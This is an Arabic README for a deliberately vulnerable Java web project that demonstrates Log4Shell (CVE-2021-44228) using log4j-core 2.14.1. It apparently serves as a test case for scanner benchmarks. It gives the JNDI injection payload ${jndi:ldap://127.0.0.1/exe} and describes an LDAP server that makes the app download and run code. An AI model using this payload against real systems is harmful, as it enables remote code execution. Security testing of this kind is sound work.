
مشروع ويب jee مع ثغرة log4shell (CVE-2021-44228)
هذا مشروع ويب بسيط يحتوي على ثغرة log4shell.
يحدد المشروع خدمة get بسيطة scabench.HelloWorldService تعيد سلسلة نصية عادية hello world.
الخدمة لا تتوقع معاملات، وإذا تم العثور على معاملات، يتم تسجيل خطأ.
الاعتماد الضعيف هو org.apache.logging.log4j:log4j-core:2.14.1، الثغرة هي CVE-2021-44228.
يتطلب ذلك نظام unix أو macos. من السهل نقل هذا المشروع إلى windows.
يتم توفير اختبار وحدة لإظهار الثغرة. يتطلب الاختبار خادم ldap يوفر كودًا ضعيفًا، ويتم توفير الملف التنفيذي المقابل من قبل المشروع، وهو معرف في مشروع منفصل https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept استنادًا إلى https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. ستتعامل تركيب الاختبار مع بدء تشغيل خادم ldap وإيقافه.
سينشئ الاختبار ملفًا foo استنادًا إلى أمر مشفر مضمن في كود خادم ldap الذي يتصل به log4j (touch foo). يمكن للمهاجم التحكم في هذا الخادم.
لتشغيل الاختبار، قم ببناء المشروع باستخدام .
mvn testmvn jetty:runjava -jar dodgy-ldap-server.jar (سيقوم الكود الضعيف بتنزيل كود Java من هذا الخادم)http://localhost:8080/، يحتوي هذا الموقع على نموذج مملوء مسبقًا بحمولة خبيثة ${jndi:ldap://127.0.0.1/exe}foo على الخادمهناك العديد من نصوص sh لتشغيل تحليلات مختلفة، يمكن العثور على تقارير النتائج في scan-results.